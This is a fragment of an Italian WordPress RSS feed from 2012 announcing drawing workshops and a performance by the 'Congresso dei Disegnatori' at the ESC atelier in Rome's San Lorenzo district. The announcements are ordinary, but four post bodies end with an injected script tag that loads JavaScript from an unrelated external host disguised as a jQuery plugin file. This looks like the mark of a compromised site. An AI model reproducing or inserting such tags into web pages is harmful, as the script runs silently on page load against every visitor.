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<p>Il 12 Luglio, dalle 17 alle 20, il Congresso dei Disegnatori organizza un laboratorio che attraversa il confine tra la fotografia e il disegno libero; sulle pareti dell’atelier autogestito ESC a San Lorenzo si potrà intervenire su vecchi e nuovi disegni con immagini istantanee appena scattate, tolte dal loro supporto originario e “trasferite” sul muro grazie alla tecnica dell’emulsion lift (sollevamento dell’emulsione). Durante questo incontro si potranno usare liberamente fotocamere Polaroid assieme alle nuove pellicole istantanee Impossible project, entrambe disponibili per i partecipanti di questo workshop. Le fotografie, una volta “sollevate” dal loro supporto, potranno sovrapporsi ai disegni o diventarne il punto di partenza, comporsi con i colori creando mosaici di immagini.<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>ESC: L&#8217;architettura dell&#8217;immaginario &#8211; Sezionare la città per scoprire e inventare spazi urbani.</title>
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		<pubDate>Wed, 04 Jul 2012 18:29:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<description><![CDATA[Il Congresso dei Disegnatori ospiterà il 4 luglio un laboratorio di disegno attraverso lo strumento della rappresentazione architettonica. La sfida è utilizzare la pratica del disegno collettivo e libero per indagare e scoprire lo spazio urbano grazie alle convenzioni della architettura. <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1090">More <span class="meta-nav">&#187;</span></a>]]></description>
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<p>Il Congresso dei Disegnatori ospiterà il 4 luglio un laboratorio di disegno attraverso lo strumento della rappresentazione architettonica. La sfida è utilizzare la pratica del disegno collettivo e libero per indagare e scoprire lo spazio urbano grazie alle convenzioni della architettura.<br />
In particolare, tutti i partecipanti sono invitati a giocare nel processo astrattivo istruito dalla sezione architettonica che permette, in pochi gesti, di tagliare e selezionare gli elementi dello spazio rafforzando la continuità tra interno ed esterno, tra dentro e fuori, tra realtà e immaginario.<br />
In questo modo i disegnatori e le disegnatrici del Congresso sono invitati a contaminare la città di Roma con il proprio disegno: dapprima si passeggerà tutti insieme nel quartiere di S. Lorenzo, per curiosare in giro e sollecitare la nostra immaginazione. Successivamente, a partire dai taccuini, dagli schizzi e dalle idee, si giungerà all`atelier autogestito ESC per rappresentare sulle mura e sui fogli le linee di sezione più rappresentative dello spazio urbano osservato.<br />
L&#8217;ultima fase proposta prevede un ritorno nello spazio esterno che verrà allestito con i disegni comunemente prodotti.  In questo modo  gli sguardi gettati sulla città saranno pronti ad essere a loro volta guardati. L’avventura è destinata continuare.<br />
In questo laboratorio il Congresso sfrutterà la capacità visionaria e l`immaginazione di tutti i partecipanti per proiettare le proprie pratiche all&#8217;esterno delle mura di ESC, per contaminare lo spazio urbano tanto interno quanto esterno e, soprattutto, per intrecciare questo esperimento con il laboratorio di riappropriazione dello spazio pubblico che sarà in atto, nello stesso giorno, presso il Nuovo Cinema Palazzo.</p>
<p>4 Luglio<br />
dalle ore 16 alle ore 20<br />
ESC, Via dei Volsci 159<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>Il Congresso dei Disegnatori a Roma &#8211; Trailer</title>
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		<pubDate>Sat, 30 Jun 2012 12:59:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Documenti]]></category>

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		<description><![CDATA[Il Congresso dei Disegnatori è stato inaugurato a Roma nelle due sedi dell'Istituto Svizzero e dell'Esc circa un mese fa. Molte artisti e persone comuni vi hanno partecipato seguendo anche i diversi laboratori che sono stati organizzati. Ecco una breve clip che ne racconta alcuni di quelli.  <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1085">More <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p><object width="600" height="450" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/Jz9ONcOD7R8?version=3&amp;hl=it_IT" /><param name="allowfullscreen" value="true" /><embed width="600" height="450" type="application/x-shockwave-flash" src="http://www.youtube.com/v/Jz9ONcOD7R8?version=3&amp;hl=it_IT" allowFullScreen="true" allowscriptaccess="always" allowfullscreen="true" /></object></p>
<p>Il Congresso dei Disegnatori è stato inaugurato a Roma nelle due sedi dell&#8217;Istituto Svizzero e dell&#8217;Esc circa un mese fa. Molte artisti e persone comuni vi hanno partecipato seguendo anche i diversi laboratori che sono stati organizzati. Ecco una breve clip che ne racconta alcuni di quelli. Per gli appuntamenti di luglio seguiteci sul nostro sito: <a href="http://www.solidarityaction.istitutosvizzero.it/" target="_blank">solidarityaction.istitutosvizzero.it</a><script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>ESC: CONTROVERSE CREATURE</title>
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		<pubDate>Wed, 27 Jun 2012 12:03:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Congresso dei Disegnatori]]></category>

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		<description><![CDATA[Quattro controverse creature incontrano la visionarietà di altrettanti artisti che, attraverso il loro personale segno, portano alla luce le storie di quei corpi femminili spesso vittime di cio’ che loro stesse hanno costruito. Le performer Giuditta Sin, Rica Heatherfield, Nicoletta Cefaly e Vampfire, incontrano gli artisti L.A. Petite, Isso Roivalf, Ilaria Meli e dello Studio Arturo.
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<p>Quattro controverse creature incontrano la visionarietà di altrettanti artisti che, attraverso il loro personale segno, portano alla luce<br />
le storie di quei corpi femminili spesso vittime di cio’ che loro stesse hanno costruito.<br />
Le performer Giuditta Sin, Rica Heatherfield, Nicoletta Cefaly e Vampfire, incontrano gli artisti L.A. Petite, Isso Roivalf, Ilaria Meli e dello Studio Arturo.<br />
Mentre i corpi femminili incarnano quattro differenti personaggi, il disegno ne diventa la loro consapevolezza, la definitiva presa di coscienza, la catarsi di un conflitto interiore difficile da metabolizzare.<br />
Durante la live performance, altri disegnatori rappresenteranno sulle pareti di ESC alcuni ritratti femminili estratti dal lavoro &#8220;i monologhi della vagina&#8221; di Obie Award.</p>
<p>27 Giugno 2012 a ESC Atelier (Via dei Volsci 159, San Lorenzo)<br />
dalle 17.00 alle 21.00<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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